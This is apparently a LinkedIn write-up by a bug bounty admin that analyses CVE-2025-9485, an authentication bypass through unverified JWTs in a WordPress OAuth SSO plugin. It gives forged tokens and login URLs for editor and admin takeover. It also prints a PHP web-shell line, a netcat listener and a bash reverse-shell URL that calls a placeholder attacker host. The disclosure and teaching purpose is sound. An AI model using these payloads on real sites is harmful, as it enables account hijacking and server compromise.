The Plugin That Lets Anyone In
Tales From A Bug Bounty Admin
Deconstructing the CVE-2025-9485
The context
It started like any other email. In my inbox, messages usually fall into one of two categories: requests from researchers wanting to join the platform, or vulnerability reports often complete with a proof of concept.
The issue was a bit confusing at first. A researcher wrote, “I managed to access the admin and create a new user without a password.” "Its because The OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress is vulnerable to CVE-2025-9485". The report included screenshots of the WordPress dashboard users, admins, plugins and themes. There was even a URL that, when clicked, took me straight into the dashboard as an Editor, no login required.
Analysis
Understanding CVE-2025-9485
It was first published 3 of October, 2025 and updated October 4, 2025. Categorized as Critical 9.8 and the title: Improper Verification of Cryptographic Signature. This vulnerability affects all versions up to and including 6.26.12
In Wordfence the description is the following: due to the plugin performing unsafe JWT token processing without verification or validation in the get_resource_owner_from_id_token function. This makes it possible for unauthenticated attackers to bypass authentication and gain access to any existing user account - including administrators in certain configurations - or to create arbitrary subscriber-level accounts. Also mentioned in NVD-Nist.Gov
Attack Vector
Enumerating users on WordPress is relatively straightforward. Tools like WPScan, or endpoints such as /author-sitemap.xml and /wp-json/wp/v2/users, can easily expose usernames.
Goal
By modifying the email field within the JWT payload and refreshing the token, an attacker can impersonate another user and gain unauthorized access to the WordPress dashboard. Initially, this allows access with editor-level privileges. However, by re-editing the JWT token to include the email address of an administrator, the attacker can escalate privileges further and gain full administrative access to the WordPress instance.
Creating the POC
Gaining Editor-level privileges
Analyzing the url we received: The JWT embedded in the URL can be reused to authenticate a new session. When the encoded URL is accessed in an incognito window, it automatically logs the user into the Domains WordPress dashboard with editor privileges.
This level of authority doesn’t allow listing plugins or themes, or creating new pages. However, it does allow publishing articles on pages created by the admin. It also exposes the list of administrator accounts along with their email addresses and information that can also be enumerated using tools like WPScan.
https://domain.com/?code=foo&state=b2t0YQ%3D%3D&id_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRlc3RlciIsImFkbWluIjp0cnVlLCJlbWFpbCI6ImVtYWlsLWZvdW5kQGVtYWlsLmNvbSIsImlhdCI6MTc1OTU2OTQzMiwiZXhwIjoxNzU5NTczMDMyfQ.fN5LqYFEqYE-T-Gg2BE7VvLckmnEblSMby0rF_n7I4c
Deconstruction
Attack domain : https://domain.com/?code=foo&state=b2t0YQ%3D%3D&id_token=
URL decoded: https://domain.com/?code=foo&state=b2t0YQ==&id_token=
Base64 Decoded: https://domain.com/?code=foo&state=okta&id_token
Decoded JWT Token
{"sub": "1234567890", "name": "Tester", "admin": true, "email": "email-found@email.com", "iat": 1759569432, "exp": 1759573032}
Gaining Administrator-level privileges
By crafting a new JWT token using a higher-privileged email and the signing algorithm HS256, with the private key set to “secret”, it was possible to escalate privileges and gain administrator access.
{"sub": "1234567890","name": "Tester","admin": true, "email": "administrator@email.com", "iat": 1759569432, "exp": 1759573032 }
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRlc3RlciIsImFkbWluIjp0cnVlLCJlbWFpbCI6ImFkbWluaXN0cmF0b3JAZW1haWwuY29tIiwiaWF0IjoxNzU5NTY5NDMyLCJleHAiOjE3NTk1NzMwMzJ9.32rKIWDm_vXfOCRD-oN4YZZ7zbjsCR4r2y-CIfrjhnA
Admin url
Recommended by LinkedIn
https://domain.com/?code=foo&state=b2t0YQ%3D%3D&id_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRlc3RlciIsImFkbWluIjp0cnVlLCJlbWFpbCI6ImFkbWluaXN0cmF0b3JAZW1haWwuY29tIiwiaWF0IjoxNzU5NTY5NDMyLCJleHAiOjE3NTk1NzMwMzJ9.32rKIWDm_vXfOCRD-oN4YZZ7zbjsCR4r2y-CIfrjhnA
What happened after
What happened next was both fascinating and alarming. After replacing the email in the token and signing it with the key “secret,” I logged out as editor i added the new URL and the dashboard reloaded, this time with full administrator privileges. Every menu item was unlocked: plugins, themes, user management and settings.
The plugin had accepted the forged token as genuine, proving that it never verified the cryptographic signature.
Giving a clear proof of concept that the plugin was the affected version
Mitigation
What Could Have Gone Wrong - Theories and Hypotheses
Case 1 - Installing a backdoor
As an administrator, you have the right to edit themes or create pages. For security reasons, some themes have the PHP editing feature disabled by default. However, this can be easily reactivated and a single line of code could have given an adversary access to the server.
For example, by inserting this line into an existing .php file or creating a new one (e.g., page.php), it is possible to re-enable PHP execution within the theme, effectively bypassing the restriction and adding the line:
system($_REQUEST['cmd']);
On terminal
Create a listener like:
nc -lvnp 80 or 443 or a unsuspicious port
On page add
http://domain.com/templates/page.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/attacker-ip/port/%200%3E%261%22
Such access could establish a session from which an adversary might move laterally within the web server environment, escalate privileges, and pivot to other connected systems.
Case 2 - Write Privileges
An adversary with administrative access could delete all user accounts and site files, alter existing pages and articles, and effectively lock out legitimate administrators gaining complete control of the WordPress installation.
Case 3 - Send Emails
Using the information obtained, an adversary could conduct a phishing campaign by sending malicious files to other users, thereby increasing the likelihood of compromising additional systems.
Case 4 - Encrypting everything
An adversary could have compromised the web server, encrypted all data, and left a ransom note. Such an incident would have resulted in significant reputational and economical damage and widespread media coverage.
And That’s How You (Almost) Lose a Server.
This case was a clear reminder of how a single missing validation step can completely compromise an application’s security. Even well-established plugins can introduce critical flaws if security checks are assumed rather than verified.
Thanks to responsible disclosure and quick collaboration, the issue was fixed before it could be exploited in the wild. It shows the value of strong communication between researchers, administrators, and developers and how swift action can turn a potential disaster into a learning opportunity.
Great post Gabriel B. 👏 💪 💪
Nice one sir 🫡🤩